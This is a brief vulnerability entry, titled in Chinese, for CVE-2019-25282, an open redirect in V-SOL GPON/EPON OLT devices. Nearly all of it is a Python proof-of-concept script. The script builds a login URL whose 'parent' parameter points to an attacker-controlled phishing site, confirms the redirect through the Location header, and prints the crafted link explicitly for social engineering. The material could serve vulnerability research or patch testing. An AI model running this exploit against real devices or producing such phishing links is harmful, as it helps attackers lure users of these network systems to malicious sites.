CVE-2019-25282 | V-SOL GPON/EPON OLT开放重定向漏洞

# CVE-2019-25282 Open Redirect PoC # Target: V-SOL GPON/EPON OLT Platform # Vulnerability: Open redirect via 'parent' parameter import requests target_url = "http://target-olt-device.com/login" malicious_url = "https://attacker-controlled-site.com/phishing" # Construct malicious redirect URL malicious_redirect = f"{target_url}?parent={malicious_url}" print(f"[*] Target: {target_url}") print(f"[*] Malicious Redirect URL: {malicious_redirect}") print(f"[*] Sending crafted request...") # Send request to check if redirect occurs response = requests.get(malicious_redirect, allow_redirects=False) # Check for Location header if 'Location' in response.headers: location = response.headers['Location'] print(f"[!] Open Redirect Confirmed!") print(f"[!] Redirects to: {location}") # Verify if redirect points to external domain if not location.startswith(target_url): print("[!] WARNING: Redirects to external domain!") else: print("[-] No redirect detected or already redirected") # Output malicious link for social engineering attack print(f"\n[*] Malicious Link for phishing:") print(malicious_redirect)